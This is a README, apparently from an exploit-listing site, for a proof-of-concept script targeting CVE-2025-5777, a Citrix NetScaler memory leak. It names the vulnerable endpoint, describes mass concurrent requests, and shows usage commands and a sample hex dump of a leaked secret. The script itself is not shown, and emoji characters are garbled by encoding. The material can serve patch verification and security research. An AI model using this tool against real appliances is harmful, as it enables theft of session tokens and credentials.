## https://sploitus.com/exploit?id=A6669279-9D9F-5190-8B27-54D6A1FC4498
# CVE-2025-5777 - Citrix NetScaler Memory Leak PoC
## π Description
This script exploits a critical memory disclosure vulnerability in Citrix NetScaler ADC/Gateway appliances, identified as **CVE-2025-5777** (dubbed **CitrixBleed 2**). It triggers a memory leak through the `/p/u/doAuthentication.do` endpoint, revealing uninitialized memory containing sensitive data such as XML fragments, tokens, and potentially credentials.
* π
**CVE ID:** CVE-2025-5777
* βοΈ **Impact:** Information Disclosure
* π§βπ» **Author:** \[0xgh057r3c0n]
* π§΅ **Concurrency:** Asynchronous with `aiohttp`
* π¦ **Dependencies:** `aiohttp`, `colorama`
---
## π Features
* Asynchronous mass-request engine using `asyncio + aiohttp`
* Hex dump of leaked memory fragments
* Auto-detection of the `` memory leak
* Verbose mode for debugging and response preview
* Graceful interrupt handling (Ctrl+C)
---
## π§ͺ Usage
```bash
python3 CVE-2025-5777.py http:// [options]
```
### π§ Options
| Option | Description |
| --------------- | ---------------------------------------------- |
| `-v, --verbose` | Enable verbose debug output |
| `-p ` | Use HTTP proxy (e.g., `http://127.0.0.1:8080`) |
| `-t ` | Number of concurrent requests (default: 10) |
---
## π₯ Example
```bash
python3 CVE-2025-5777.py http://192.168.1.1 -v -t 5
```
---
## π€ Sample Output
```
_____________ _______________ _______________ ________ .________ .___________________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \ | ____/ | ____/\______ \______ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ |____ \ ______ |____ \ / / / / / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ / \ /_____/ / \ / / / / / /
\______ / \___/ /_______ / \_______ \_____ /\_______ \/______ / /______ / /____/ /____/ /____/
\/ \/ \/ \/ \/ \/ \/
Citrix NetScaler Memory Leak PoC (CVE-2025-5777)
Author: 0xgh057r3c0n
[π] POST β http://192.168.1.1/p/u/doAuthentication.do β Status: 200
[βοΈ ] Found InitialValue Memory Leak!
[π§ ] Hex Dump:
------------------------------------------------------------------------
00000000: 73 65 63 72 65 74 3d 22 61 62 63 64 31 32 33 21 secret="abcd123!
00000010: 40 23 24 25 5e 26 2a 28 29 22 3c 2f 49 6e 69 74 @#$%^&*()"
------------------------------------------------------------------------
[βοΈ ] Leak confirmed. Continuing extraction...
```
---
## β οΈ Disclaimer
> This proof-of-concept is intended for **educational and authorized security testing only**.
> Unauthorized scanning or exploitation of systems you don't own is **illegal**.
---